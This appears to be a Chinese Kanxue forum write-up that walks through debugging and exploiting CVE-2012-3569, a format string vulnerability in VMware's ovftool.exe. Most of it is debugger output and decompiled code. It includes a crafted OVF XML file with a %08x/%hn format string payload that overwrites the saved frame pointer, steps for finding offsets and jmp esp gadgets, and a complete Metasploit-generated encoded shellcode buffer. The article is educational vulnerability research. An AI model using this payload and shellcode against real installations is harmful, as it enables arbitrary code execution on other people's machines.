其他
再探格式化字符串漏洞:CVE-2012-3569 ovftool.exe
本文为看雪论坛优秀文章
看雪论坛作者ID:LarryS
一
漏洞调试
2.1 环境
2.2 确定漏洞发生位置
2.2.1 根据错误信息进行初步尝试
Error:
- Line 14: Invalid value 'AAAAAAAAAAAAAAAAAAAAAAAAAA02f75be0ffffffff0000000022ce96420160c7800000000002f75be002cfa9b80012fb3c784b631b000001fd000001ff22ce96420012fb60006752f9000000000012fb6c004b4c4402d02e20000001fd000000000160c78000000000004b4e9722ce9602000000000160c7d8000000000012fb4c0012fc1000691f10000000000012fb807848ac3602f691a0006c1b987848bab70012fb8c7848e50c0160c7d80012fc1c0047ea377848baa022ce917202f6199402f6198002f691a00012fbf47c90e9007c910040ffffffff7c91003d78583c1b01e500000000000078583c3a0c64477f02f73d000012fc3c02d371c00012fc3c02f691a00012fbfc000001f9000001ff000000000012fc687858cf5e742c6edbfffffffe78583c3a0012fc1802f6c3d00012fc6800687212000000010012fc740045637e0000000002f6a9f822ce911a02f68fd802d1c0a802f619800012ff2402f73d00000000000000000f15411655000000000000000f02f691a002f69f5002f6a1f002f69f500012ff440068059200000004' for attribute 'capacityAllocationUnits' on element 'Disk'.
(2d0.4d4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00000000 ecx=22dc6d6e edx=1290002f esi=00000001 edi=016138e0
eip=00000000 esp=0012034d ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
00000000 ?? ???
0:000> dd esp
0012034d 00000000 00000000 00000000 00000000
0012035d 00000000 00000000 00000000 00000000
0012036d 00000000 00000000 00000000 00000000
0012037d 00000000 00000000 00000000 00000000
0012038d 00000000 00000000 00000000 00000000
0012039d 00000000 00000000 00000000 00000000
001203ad 00000000 00000000 00000000 00000000
001203bd 00000000 00000000 00000000 00000000
std::string::string(v110, "ovftool.xml.invalid");
v123 = 152;
*(_DWORD *)sub_4BC710(v110) = "Invalid value '%1' for attribute '%2' (%3:%4)";
v123 = -1;
std::string::~string(v110);
(e48.ab0): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd4000 ecx=00000006 edx=00000040 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> bp 4B0434
0:000> g
Breakpoint 1 hit
eax=02dfce90 ebx=00000000 ecx=f040def9 edx=01e50608 esi=ffffffff edi=02df8070
eip=004b0434 esp=0012eef4 ebp=0012fc7c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ovftool+0xb0434:
004b0434 c70078296c00 mov dword ptr [eax],offset ovftool+0x2c2978 (006c2978) ds:0023:02dfce90=00000000
0:000> p
eax=02dfce90 ebx=00000000 ecx=f040def9 edx=01e50608 esi=ffffffff edi=02df8070
eip=004b043a esp=0012eef4 ebp=0012fc7c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ovftool+0xb043a:
004b043a 8975fc mov dword ptr [ebp-4],esi ss:0023:0012fc78=00000098
0:000> dd eax l1
02dfce90 006c2978
2.2.2 确定输出函数的位置
...
.text:004186EF E8 8C EB FF FF call sub_417280
.text:004186F4 83 C4 1C add esp, 1Ch
.text:004186F7 5E pop esi
.text:004186F8 8B E5 mov esp, ebp
.text:004186FA 5D pop ebp
.text:004186FB C3 retn
.text:004186FB _wmain endp
0:000> bp /1 /c @$csp @$ra;g
ModLoad: 68000000 68036000 C:\WINDOWS\system32\rsaenh.dll
Breakpoint 2 hit
eax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000002 edi=016138e0
eip=004186f4 esp=0012ff58 ebp=00120345 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ovftool+0x186f4:
004186f4 83c41c add esp,1Ch
0:000> p
eax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000002 edi=016138e0
eip=004186f7 esp=0012ff74 ebp=00120345 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ovftool+0x186f7:
004186f7 5e pop esi
0:000> p
eax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000001 edi=016138e0
eip=004186f8 esp=0012ff78 ebp=00120345 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ovftool+0x186f8:
004186f8 8be5 mov esp,ebp
0:000> dd 00120345 l4
00120345 00000000 00000000 00000000 00000000
0:000> bp /1 /c @$csp @$ra;g
Breakpoint 2 hit
eax=00000000 ebx=00000000 ecx=f040cc6d edx=01e50608 esi=00000002 edi=02df8070
eip=004172c6 esp=0012fc84 ebp=0012ff50 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ovftool+0x172c6:
004172c6 e875e00900 call ovftool+0xb5340 (004b5340)
0:000> dd ebp l1
0012ff50 0012ff7c
0:000> ba r4 12ff50
0:000> g
ModLoad: 68000000 68036000 C:\WINDOWS\system32\rsaenh.dll
Breakpoint 2 hit
eax=0012ff50 ebx=0000006e ecx=ffff0345 edx=030fb448 esi=0012f928 edi=00000064
eip=0057eaf8 esp=0012f8d0 ebp=0012fa78 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ovftool+0x17eaf8:
0057eaf8 e963f4ffff jmp ovftool+0x17df60 (0057df60)
0:000> ub
ovftool+0x17eadd:
0057eadd 8b8570ffffff mov eax,dword ptr [ebp-90h]
0057eae3 85c0 test eax,eax
0057eae5 7416 je ovftool+0x17eafd (0057eafd)
0057eae7 8b04f8 mov eax,dword ptr [eax+edi*8]
0057eaea 668b8d4cffffff mov cx,word ptr [ebp-0B4h]
0057eaf1 47 inc edi
0057eaf2 897d8c mov dword ptr [ebp-74h],edi
0057eaf5 668908 mov word ptr [eax],cx
0:000> bp 0057eaf5
0:000> g
ModLoad: 68000000 68036000 C:\WINDOWS\system32\rsaenh.dll
Breakpoint 2 hit
eax=0012ff50 ebx=0000006e ecx=ffff0345 edx=030fb448 esi=0012f928 edi=00000064
eip=0057eaf5 esp=0012f8d0 ebp=0012fa78 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ovftool+0x17eaf5:
0057eaf5 668908 mov word ptr [eax],cx ds:0023:0012ff50=ff7c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.7523_x-ww_62205c0c\MSVCP90.dll -
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fa78 0058044a 0012fac0 785bc24c 030fb200 ovftool+0x17eaf5
0012faa8 0057cb9e 0012fac0 00000000 030fb288 ovftool+0x18044a
0012fac4 0056b674 00000000 030fb288 0012faec ovftool+0x17cb9e
0012fae0 004b375f 030fb288 031012e8 ffffffff ovftool+0x16b674
0012fb2c 004b4c44 02df81b0 000001fd 00000000 ovftool+0xb375f
0012fb6c 7848ac36 030f9128 006c1b98 7848bab7 ovftool+0xb4c44
0012fb80 7848e50c 0160c7d8 0012fc1c 0047ea37 MSVCP90!std::basic_ostream<unsigned short,std::char_traits<unsigned short> >::flush+0x1f
0012fb8c 0047ea37 7848baa0 f040cc0d 030f8f2c MSVCP90!std::basic_istream<unsigned short,std::char_traits<unsigned short> >::operator>>+0x9
0012fc1c 0045637e 00000000 030fa168 f040cc65 ovftool+0x7ea37
0012fc74 004184f4 000f9128 030cbd10 f040cf41 ovftool+0x5637e
0012ff50 004186f4 00000002 02df8070 00000002 ovftool+0x184f4 // 注意这个返回地址,已经在wmain了
0012ff7c 005e82ff 00000002 02dec270 02ded220 ovftool+0x186f4
0012ffc0 7c817067 7c911440 00f3f55c 7ffd4000 ovftool+0x1e82ff
0012fff0 00000000 005e8447 00000000 78746341 kernel32!BaseProcessStart+0x23
...
if ( result > 0 )
{
do
{
v35 = (_DWORD *)v29[5];
v19 = (int (__thiscall **)(_DWORD *, char *, int))(*v35 + 16);
v20 = (*(int (__thiscall **)(int, int))(*(_DWORD *)a3 + 44))(a3, v18);
v21 = (*v19)(v35, v27, v20);
v30 = 1;
v25 = v21;
v22 = sub_401A90(&dword_160C7D8, " - ");
v23 = std::operator<<<char>(v22, v25);
std::ostream::operator<<(v23, std::endl); // 注意这里在进行输出
v30 = -1; // 地址0047ea37在这里
std::string::~string(v27);
++v18;
result = (*(int (__thiscall **)(int))(*(_DWORD *)a3 + 36))(a3);
}
while ( v18 < result );
}
...
二
漏洞利用
3.1 确定异常数据的影响
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<References>
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="2982" />
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="AAAAAAAAAAAAAAAAAAAAAAAAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%hn" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
</DiskSection>
<VirtualSystem ovf:id="Small VM">
<Info>A virtual machine</Info>
</VirtualSystem>
</Envelope>
3.1.1 确定格式化输出函数
0012fae0 004b375f 030fb288 031012e8 ffffffff ovftool+0x16b674
void __stdcall sub_4B3700(int a1, int a2) {
std::string::string(v6, a1, a2);
v8 = 0;
v2 = (void **)Buf[0];
if ( Buf[5] < (void *)0x10 )
v2 = Buf;
v3 = sub_581460(v2, 0xFFFFFFFF, 0);
sub_56B660(v3, v5);
v4 = _iob_func();
fflush(v4 + 1);
sub_5B0BD0(v3);
v8 = -1;
std::string::~string(v6);
}
int my_printf(int a1, ...)
{
char *v1; // esi
FILE *v2; // eax
int v3; // edi
va_list va; // [esp+14h] [ebp+Ch] BYREF
va_start(va, a1);
v1 = (char *)sub_57CB80(0, a1, va);
v2 = _iob_func();
v3 = sub_56B5F0(v2 + 1, v1);
free(v1);
return v3;
}
0:000> g
eax=030fb288 ebx=02df81b0 ecx=030fb288 edx=01e50608 esi=030fb288 edi=000001fd
eip=004b375a esp=0012fae8 ebp=0012fb2c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ovftool+0xb375a:
004b375a e8017f0b00 call ovftool+0x16b660 (0056b660)
0:000> dd esp l64
0012fae8 030fb288 031012e8 ffffffff 00000000 // 从第二个数据开始就和最终打印出来的字符是一样的了
0012faf8 f040cb3d 0160c780 00000000 031012e8
0012fb08 02df5050 0012fb3c 784b631b 000001fd
0012fb18 000001ff f040cb3d 0012fb60 006752f9
0012fb28 00000000 0012fb6c 004b4c44 02df81b0
0012fb38 000001fd 00000000 0160c780 00000000
0012fb48 004b4e97 f040cb7d 00000000 0160c7d8
0012fb58 00000000 0012fb4c 0012fc10 00691f10
0012fb68 00000000 0012fb80 7848ac36 030f9128
0012fb78 006c1b98 7848bab7 0012fb8c 7848e50c
0012fb88 0160c7d8 0012fc1c 0047ea37 7848baa0
0012fb98 f040cc0d 030f8f2c 030f8f18 030f9128
0012fba8 0012fbf4 7c90e900 7c910040 ffffffff
0012fbb8 7c91003d 78583c1b 01e50000 00000000
0012fbc8 78583c3a dbb8e81d 030fb288 0012fc3c
0012fbd8 031010d0 0012fc3c 030f9128 0012fbfc
0012fbe8 000001f9 000001ff 00000000 0012fc68
0012fbf8 7858cf5e a3f0c1b9 fffffffe 78583c3a
0012fc08 0012fc18 030fa0d8 0012fc68 00687212
0012fc18 00000001 0012fc74 0045637e 00000000
0012fc28 030fa168 f040cc65 030fa090 02e0fad0
0012fc38 030f8f18 0012ff24 030fb200 00000000
0012fc48 0000000f e0180cc4 00000000 0000000f
0012fc58 030f9128 030fba10 030fb9c8 030fba10
0012fc68 0012ff44 00680592 00000004 0012ff50
// 到0x00000004这里为止都是打印的字符
// 注意最后的0012ff50,就是要写入的位置。
0:000> db 030fb288
030fb288 20 2d 20 4c 69 6e 65 20-31 34 3a 20 49 6e 76 61 - Line 14: Inva
030fb298 6c 69 64 20 76 61 6c 75-65 20 27 41 41 41 41 41 lid value 'AAAAA
030fb2a8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
030fb2b8 41 41 41 41 41 25 30 38-78 25 30 38 78 25 30 38 AAAAA%08x%08x%08
030fb2c8 78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38 x%08x%08x%08x%08
030fb2d8 78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38 x%08x%08x%08x%08
030fb2e8 78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38 x%08x%08x%08x%08
030fb2f8 78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38 x%08x%08x%08x%08
Error:
- Line 14: Invalid value 'AAAAAAAAAAAAAAAAAAAAAAAAAA031012e8ffffffff00000000f040cb3d0160c78000000000031012e802df50500012fb3c784b631b000001fd000001fff040cb3d0012fb60006752f9000000000012fb6c004b4c4402df81b0000001fd000000000160c78000000000004b4e97f040cb7d000000000160c7d8000000000012fb4c0012fc1000691f10000000000012fb807848ac36030f9128006c1b987848bab70012fb8c7848e50c0160c7d80012fc1c0047ea377848baa0f040cc0d030f8f2c030f8f18030f91280012fbf47c90e9007c910040ffffffff7c91003d78583c1b01e500000000000078583c3adbb8e81d030fb2880012fc3c031010d00012fc3c030f91280012fbfc000001f9000001ff000000000012fc687858cf5ea3f0c1b9fffffffe78583c3a0012fc18030fa0d80012fc6800687212000000010012fc740045637e00000000030fa168f040cc65030fa09002e0fad0030f8f180012ff24030fb200000000000000000fe0180cc4000000000000000f030f9128030fba10030fb9c8030fba100012ff440068059200000004' for attribute 'capacityAllocationUnits' on element 'Disk'.
3.1.2 小总结
3.2 漏洞利用
3.2.1 对capacityAllocationUnits属性值的要求
mov esp, ebp // 修改的ebp值成为新的栈顶
pop ebp //
retn // 新的栈顶偏移四个字节的位置成为新的返回地址
3.2.2 确定合适的覆盖数值
0:000> s 120000 lffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0012d4f3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> db 12d4f3
0012d4f3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012d503 41 41 41 41 41 41 41 41-41 41 25 30 38 78 25 30 AAAAAAAAAA%08x%0
0012d513 38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30 8x%08x%08x%08x%0
0012d523 38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30 8x%08x%08x%08x%0
0012d533 38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30 8x%08x%08x%08x%0
0012d543 38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30 8x%08x%08x%08x%0
0012d553 38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30 8x%08x%08x%08x%0
0012d563 38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30 8x%08x%08x%08x%0
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -l 10000 > content.txt
0:000> s 120000 lffff 41 61 30 41
0:000> s 115000 lffff 41 61 30 41
00116b47 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
0:000> !address 121000
00030000 : 00115000 - 0001b000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageStack
Pid.Tid e48.ab0
(b60.e0c): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd7000 ecx=00000006 edx=00000040 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> bp 0057eaf5
0:000> g
Breakpoint 0 hit
eax=0012ff50 ebx=0000006e ecx=ffff1000 edx=03107d43 esi=0012f928 edi=00000064
eip=0057eaf5 esp=0012f8d0 ebp=0012fa78 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ovftool+0x17eaf5:
0057eaf5 668908 mov word ptr [eax],cx ds:0023:0012ff50=ff7c
0:000> db 121000
00121000 62 36 43 62 37 43 62 38-43 62 39 43 63 30 43 63 b6Cb7Cb8Cb9Cc0Cc
00121010 31 43 63 32 43 63 33 43-63 34 43 63 35 43 63 36 1Cc2Cc3Cc4Cc5Cc6
00121020 43 63 37 43 63 38 43 63-39 43 64 30 43 64 31 43 Cc7Cc8Cc9Cd0Cd1C
00121030 64 32 43 64 33 43 64 34-43 64 35 43 64 36 43 64 d2Cd3Cd4Cd5Cd6Cd
00121040 37 43 64 38 43 64 39 43-65 30 43 65 31 43 65 32 7Cd8Cd9Ce0Ce1Ce2
00121050 43 65 33 43 65 34 43 65-35 43 65 36 43 65 37 43 Ce3Ce4Ce5Ce6Ce7C
00121060 65 38 43 65 39 43 66 30-43 66 31 43 66 32 43 66 e8Ce9Cf0Cf1Cf2Cf
00121070 33 43 66 34 43 66 35 43-66 36 43 66 37 43 66 38 3Cf4Cf5Cf6Cf7Cf8
3.2.3 控制程序执行流程
接下来我们要保证0x00121000偏移四字节的位置,即原本的7Cb8,是正确的返回地址,比如说经典的jump esp指令的地址。
C:\Documents and Settings\test\Desktop>findjmp user32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning user32.dll for code useable with the esp register
...
0x7E48699C jmp esp
0x7E4869A8 jmp esp
0x7E486A38 jmp esp
0x7E486B54 jmp esp
0x7E486B58 jmp esp
0x7E486B5C jmp esp
0x7E4870DB call esp
0x7E487443 jmp esp
0x7E48748B jmp esp
0x7E48754C jmp esp
0x7E48B00B call esp
0x7E48B227 call esp
...
(d44.c34): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00000000 ecx=5bc6422a edx=12910030 esi=00000001 edi=016138e0
eip=61616161 esp=00121008 ebp=62433662 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
61616161 ?? ???
3.2.3 执行shellcode
msf6 payload(windows/exec) > generate -b "\x00" -e x86/alpha_upper BufferRegister=ESP -f perl
# windows/exec - 439 bytes
# https://metasploit.com/
# Encoder: x86/alpha_upper
# VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calc
my $buf =
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" .
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" .
"\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" .
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" .
"\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x33\x30\x35\x50\x55" .
"\x50\x45\x30\x4c\x49\x4d\x35\x56\x51\x4f\x30\x53\x54\x4c" .
"\x4b\x50\x50\x46\x50\x4c\x4b\x56\x32\x44\x4c\x4c\x4b\x46" .
"\x32\x54\x54\x4c\x4b\x44\x32\x47\x58\x34\x4f\x38\x37\x51" .
"\x5a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x53" .
"\x4c\x54\x42\x56\x4c\x57\x50\x59\x51\x48\x4f\x34\x4d\x45" .
"\x51\x58\x47\x4a\x42\x4c\x32\x36\x32\x56\x37\x4c\x4b\x31" .
"\x42\x34\x50\x4c\x4b\x30\x4a\x37\x4c\x4c\x4b\x30\x4c\x34" .
"\x51\x32\x58\x4b\x53\x51\x58\x35\x51\x4e\x31\x36\x31\x4c" .
"\x4b\x30\x59\x47\x50\x55\x51\x49\x43\x4c\x4b\x37\x39\x55" .
"\x48\x4d\x33\x56\x5a\x57\x39\x4c\x4b\x36\x54\x4c\x4b\x43" .
"\x31\x39\x46\x56\x51\x4b\x4f\x4e\x4c\x4f\x31\x58\x4f\x54" .
"\x4d\x55\x51\x4f\x37\x47\x48\x4d\x30\x53\x45\x4b\x46\x54" .
"\x43\x33\x4d\x4b\x48\x47\x4b\x53\x4d\x57\x54\x33\x45\x4d" .
"\x34\x31\x48\x4c\x4b\x31\x48\x47\x54\x53\x31\x59\x43\x55" .
"\x36\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x51\x48\x45\x4c\x55" .
"\x51\x48\x53\x4c\x4b\x43\x34\x4c\x4b\x43\x31\x4e\x30\x4c" .
"\x49\x31\x54\x46\x44\x46\x44\x51\x4b\x51\x4b\x35\x31\x30" .
"\x59\x31\x4a\x46\x31\x4b\x4f\x4b\x50\x31\x4f\x51\x4f\x51" .
"\x4a\x4c\x4b\x44\x52\x4a\x4b\x4c\x4d\x31\x4d\x33\x5a\x33" .
"\x31\x4c\x4d\x4b\x35\x4f\x42\x53\x30\x55\x50\x43\x30\x30" .
"\x50\x52\x48\x30\x31\x4c\x4b\x52\x4f\x4b\x37\x4b\x4f\x39" .
"\x45\x4f\x4b\x4b\x4e\x54\x4e\x47\x42\x4a\x4a\x45\x38\x59" .
"\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x59\x45\x47\x4c\x33" .
"\x36\x43\x4c\x45\x5a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x34" .
"\x45\x4f\x4b\x31\x57\x42\x33\x52\x52\x52\x4f\x33\x5a\x43" .
"\x30\x36\x33\x4b\x4f\x49\x45\x35\x33\x55\x31\x42\x4c\x32" .
"\x43\x33\x30\x41\x41";
三
总结
参考资料:
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
1.Android APP漏洞之战——Content Provider漏洞详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!